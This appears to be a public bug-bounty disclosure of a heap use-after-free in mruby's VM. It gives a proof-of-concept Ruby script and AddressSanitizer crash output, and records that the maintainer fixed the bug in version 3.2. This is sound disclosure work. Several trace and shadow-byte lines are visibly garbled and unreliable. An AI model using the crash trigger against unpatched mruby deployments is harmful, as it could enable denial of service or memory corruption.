

User after free in mrb_vm_exec in mruby/mruby



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While fuzzing mruby I found a use after free in mruby compiled with ASAn.

Proof of Concept (uaf1.rb)

```
var1 = -0
var2 = 1.0
var3 = 1
var4 = +0
var3 = methods.group_by() {
  || var3 = methods.group_by() {
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            }
          }
        }
      }
    }
  }
}
```

Here is the output from mruby ASAn binary

```
aldo@vps:~/mruby$ ./bin/mruby uaf1.rb
```

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=====
==49228==ERROR: AddressSanitizer: heap-use-after-free on address 0x61900000
```

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WRITE of size 8 at 0x619000000390 thread T0

```
#0 0x3b32c9 in __asan_memcpy (/home/aldo/mruby/bin/mruby+0x3b32c9)
#1 0x5251f4 in mrb_vm_exec /home/aldo/mruby/src/vm.c:1397:19

#2 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
#3 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10
#4 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13
#5 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10
#6 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10
#7 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10
#8 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5
#9 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3
#10 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10
#11 0x454c21 in mrb_hash_key_p /home/aldo/mruby/src/hash.c:1688:10
#12 0x457ba0 in mrb_hash_has_key /home/aldo/mruby/src/hash.c:1697:11
#13 0x52cc6d in mrb_vm_exec /home/aldo/mruby/src/vm.c:1636:18
#14 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
#15 0x5162b9 in mrb_top_run /home/aldo/mruby/src/vm.c:3040:12
#16 0x5af54b in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/c
#17 0x5b072b in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby
#18 0x3e6ebf in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mru
#19 0x7ffff7c500b2 in __libc_start_main /build/glibc-SmFBJT/glibc-2.31/
#20 0x3376ad in _start (/home/aldo/mruby/bin/mruby+0x3376ad)
```

0x619000000390 is located 784 bytes inside of 1024-byte region [0x619000000000,0x619000000390) freed by thread T0 here:

```
#0 0x3b4153 in realloc (/home/aldo/mruby/bin/mruby+0x3b4153)
#1 0x4c2565 in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12
#2 0x44287e in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8
#3 0x50e394 in stack_extend_alloc /home/aldo/mruby/src/vm.c:180:27
#4 0x50de30 in mrb_stack_extend /home/aldo/mruby/src/vm.c:200:5
#5 0x52d6bc in mrb_vm_exec /home/aldo/mruby/src/vm.c:1671:9
#6 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
#7 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10
#8 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13
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#13 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3
#14 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10
#15 0x450007 in h_get /home/aldo/mruby/src/hash.c:1005:10
#16 0x450007 in h_get /home/aldo/mruby/src/hash.c:1005:10
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#20 0x450007 in h_get /home/aldo/mruby/src/hash.c:1005:10
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#15 0x45090/ in mrb_hash_get /home/aldo/mruby/src/hash.c:1215:/
#16 0x52519e in mrb_vm_exec /home/aldo/mruby/src/vm.c:1397:19
#17 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12

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#21 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10
#22 0x49998f in mrb_eq_l /home/aldo/mruby/src/object.c:620:10
#23 0x45d7ca in obj_eq_l /home/aldo/mruby/src/hash.c:378:5
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previously allocated by thread T0 here:

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#3 0x442e04 in mrb_realloc /home/aldo/mruby/src/gc.c:240:8
#4 0x442f30 in mrb_malloc /home/aldo/mruby/src/gc.c:256:10
#5 0x442fda in mrb_calloc /home/aldo/mruby/src/gc.c:274:9
#6 0x512702 in stack_init /home/aldo/mruby/src/vm.c:109:28
#7 0x51be2a in mrb_vm_run /home/aldo/mruby/src/vm.c:1124:5
#8 0x5160bf in mrb_top_run /home/aldo/mruby/src/vm.c:3036:12
#9 0x46acf2 in mrb_load_proc /home/aldo/mruby/src/load.c:713:10
#10 0x6172cb in mrb_init_mrblib /home/aldo/mruby/build/host/mrblib/mrbli
#11 0x4c3c64 in mrb_init_core /home/aldo/mruby/src/init.c:50:3
#12 0x4c2692 in init_gc_and_core /home/aldo/mruby/src/state.c:34:3
#13 0x4366fb in mrb_core_init_protect /home/aldo/mruby/src/error.c:588:
#14 0x4c24de in mrb_open_core /home/aldo/mruby/src/state.c:52:7
#15 0x4c278c in mrb_open_allocf /home/aldo/mruby/src/state.c:91:20
#16 0x4c275a in mrb_open /home/aldo/mruby/src/state.c:75:20
#17 0x3e5de9 in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mru
#18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

```

SUMMARY: AddressSanitizer: heap-use-after-free (/home/aldo/mruby/bin/mruby+0x3b4153)

Shadow bytes around the buggy address:

```

0x0c327fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0000000000000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

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0x0c327fff8030: td td td td td td td td td td td td td td td td
0x0c327fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c327fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c327fff8070: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff80b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff80c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
```

Shadow byte legend (one shadow byte represents 8 application bytes):

```
Addressable:          00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:    fa
Freed heap region:    fd
Stack left redzone:   f1
Stack mid redzone:    f2
Stack right redzone:  f3
Stack after return:   f5
Stack use after scope: f8
Global redzone:       f9
Global init order:    f6
Poisoned by user:     f7
Container overflow:    fc
Array cookie:         ac
Intra object redzone: bb
ASan internal:        fe
Left alloca redzone:  ca
Right alloca redzone: cb
==49228==ABORTING
```



Occurrences

[C](#) vm.c L1397

(Published)

Vulnerability Type

CWE-416: Use After Free

Severity

High (7.7)

Visibility

Public

Status

Fixed

Found by

Muhammad Aldo Firmansyah

@thecrott

legend

Fixed by



Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 758 times.

We are processing your report and will contact the **mruby** team within 24 hours. 8 months ago

We have contacted a member of the **mruby** team and are waiting to hear back. 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability. 8 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty. ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **aaa28a**. 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty. ✓

This vulnerability will not receive a CVE. ✗

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